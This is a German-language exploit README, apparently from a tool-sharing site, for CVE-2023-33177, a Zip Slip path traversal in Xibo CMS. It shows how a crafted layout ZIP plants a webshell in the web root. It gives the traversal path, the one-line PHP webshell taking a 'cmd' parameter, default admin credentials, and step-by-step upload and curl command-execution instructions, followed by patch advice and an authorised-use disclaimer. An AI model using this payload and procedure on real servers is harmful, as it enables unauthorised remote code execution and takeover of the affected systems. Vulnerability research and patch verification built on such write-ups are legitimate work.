Xibo CMS Zip Slip RCE Exploit CVE-2023-33177

Dieser Exploit demonstriert eine Path-Traversal-Schwachstelle in Xibo CMS (CVE-2023-33177), die Remote-Codeausführung durch bösartige Layout-Importe ermöglicht.

Details zur Schwachstelle

CVE/Advisory: CVE-2023-33177 Betroffene Versionen:

• Xibo CMS 1.8.0 - 2.3.16
• Xibo CMS 3.0.0 - 3.3.4

Schwachstellentyp: Path Traversal (Zip Slip) Auswirkung: Remote-Codeausführung (RCE)

Technische Zusammenfassung

Xibo CMS erlaubt authentifizierten Benutzern das Importieren von Layout-Dateien über ZIP-Archive. Die Importfunktion validiert die Dateipfade in der Datei mapping.json nicht ordnungsgemäß, sodass ein Angreifer mithilfe von Path-Traversal-Sequenzen (../../) Dateien außerhalb des vorgesehenen Bibliotheksverzeichnisses schreiben kann.

Wie der Exploit funktioniert

1. Erstellt eine gültige Xibo-Layout-Exportstruktur mit den erforderlichen JSON-Dateien
2. Fügt eine Path-Traversal-Sequenz in mapping.json ein: Verwendet ../../web/shell.php als Dateipfad
3. Platziert die Webshell im traversierten Pfad innerhalb der ZIP-Struktur unter library/../../web/shell.php
4. Xibo entpackt ohne Validierung: Der Pfad wird zu /var/www/cms/web/shell.php aufgelöst
5. Erreicht RCE: Die Webshell ist im Web-Root erreichbar

Die Schwachstellenkette

Zip contains: library/../../web/shell.php
Xibo reads:   library/ + ../../web/shell.php (from mapping.json)
Xibo writes:  /var/www/cms/library/temp/ + ../../web/shell.php
Result:       /var/www/cms/web/shell.php ← Webshell in web root!

Verwendung

Exploit erzeugen

python3 create_exploit.py

Dies erstellt exploit.zip mit dem bösartigen Layout-Paket.

Schritte zur Ausnutzung

1. Rufen Sie Xibo CMS auf und melden Sie sich mit den Anmeldedaten an (Standard: xibo_admin / password)
2. Navigieren Sie zu Import: Design → Layouts → Import
3. Laden Sie exploit.zip hoch
4. Ignorieren Sie etwaige JSON-Fehler – die Webshell wurde bereits auf die Festplatte geschrieben
5. Führen Sie Befehle über die Webshell aus:
   root@kitploit:~

   curl 'http://localhost:8080/shell.php?cmd=id'
   

Dateistruktur

Das Exploit-ZIP enthält:

exploit.zip
├── layout.json          # Valid Xibo layout definition
├── playlist.json        # Empty playlist (triggers JSON import)
├── mapping.json         # Contains path traversal payload
└── library/
    └── ../../web/
        └── shell.php    # PHP webshell (gets extracted to web root)

Webshell-Funktionalität

Die eingebettete Webshell ist minimalistisch:

<?php system($_GET["cmd"]); ?>

Zugriff über: http://<target>/shell.php?cmd=<command>

Gegenmaßnahmen

Behobene Versionen:

• Upgrade auf Xibo CMS 2.3.17+ (für den 2.x-Zweig)
• Upgrade auf Xibo CMS 3.3.5+ (für den 3.x-Zweig)

Schutzmaßnahmen:

1. Alle Dateipfade in ZIP-Archiven vor dem Entpacken validieren
2. Pfade mit .. oder absolute Pfade ablehnen
3. Sichere Entpackmethoden verwenden, die Pfad-Traversal verhindern
4. Eine ordnungsgemäße Eingabevalidierung für die Importfunktion implementieren
5. Datei-Upload-Berechtigungen auf authentifizierte, autorisierte Benutzer beschränken

Rechtlicher & ethischer Hinweis

Dieser Exploit wird bereitgestellt für:

• Bildungszwecke
• CTF-Wettbewerbe
• Autorisierte Sicherheitstests
• Defensive Sicherheitsforschung

Verwenden Sie diesen Exploit nicht gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Genehmigung zum Testen haben.

Referenzen

• Advisory: GHSA-jj27-x85q-crqv
• Xibo CMS: https://xibo.org.uk/
• Zip Slip Vulnerability: https://security.snyk.io/research/zip-slip-vulnerability
• CVE-2023-33177: https://nvd.nist.gov/vuln/detail/CVE-2023-33177

Autor

complexusprada November 2025